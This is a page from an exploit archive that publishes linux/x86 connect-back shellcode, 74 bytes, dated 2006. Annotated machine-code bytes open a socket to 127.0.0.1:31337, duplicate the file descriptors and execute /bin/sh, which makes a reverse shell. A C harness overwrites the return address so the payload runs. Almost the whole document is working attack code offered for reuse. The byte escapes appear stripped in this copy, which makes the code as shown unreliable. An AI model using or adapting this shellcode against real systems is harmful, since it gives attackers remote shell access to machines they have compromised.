[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 connect-back shellcode 127.0.0.1:31337/tcp 74 bytes
# Published : 2006-01-21
# Author : izik
# Previous Title : linux/x86 chmod(/etc/shadow, 0666) + exit() 32 bytes
# Next Title : linux/x86 normal exit w/ random (so to speak) return value 5 bytes
/*
* (linux/x86) connect-back shellcode, 127.0.0.1:31337/tcp - 74 bytes
* - izik <izik@tty64.org>
*/
char shellcode[] =
"x6ax66" // push $0x66
"x58" // pop %eax
"x99" // cltd
"x6ax01" // push $0x1
"x5b" // pop %ebx
"x52" // push %edx
"x53" // push %ebx
"x6ax02" // push $0x2
"x89xe1" // mov %esp,%ecx
"xcdx80" // int $0x80
"x5b" // pop %ebx
"x5d" // pop %ebp
"xbex80xffxffxfe" // mov $0xfeffff80,%esi (0xxfeffff80 = ~127.0.0.1)
"xf7xd6" // not %esi
"x56" // push %esi
"x66xbdx69x7a" // mov $0x7a69,%bp (0x7a69 = 31337)
"x0fxcd" // bswap %ebp
"x09xdd" // or %ebx,%ebp
"x55" // push %ebp
"x43" // inc %ebx
"x6ax10" // push $0x10
"x51" // push %ecx
"x50" // push %eax
"xb0x66" // mov $0x66,%al
//
// <_doint>:
//
"x89xe1" // mov %esp,%ecx
"xcdx80" // int $0x80
"x87xd9" // xchg %ebx,%ecx
"x5b" // pop %ebx
//
// <_dup2loop>:
//
"xb0x3f" // mov $0x3f,%al
"xcdx80" // int $0x80
"x49" // dec %ecx
"x79xf9" // jns <_dup2loop>
"xb0x0b" // mov $0xb,%al
"x52" // push %edx
"x68x2fx2fx73x68" // push $0x68732f2f
"x68x2fx62x69x6e" // push $0x6e69622f
"x89xe3" // mov %esp,%ebx
"x52" // push %edx
"x53" // push %ebx
"xebxdf"; // jmp <_doint>
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
// www.Syue.com [2006-01-21]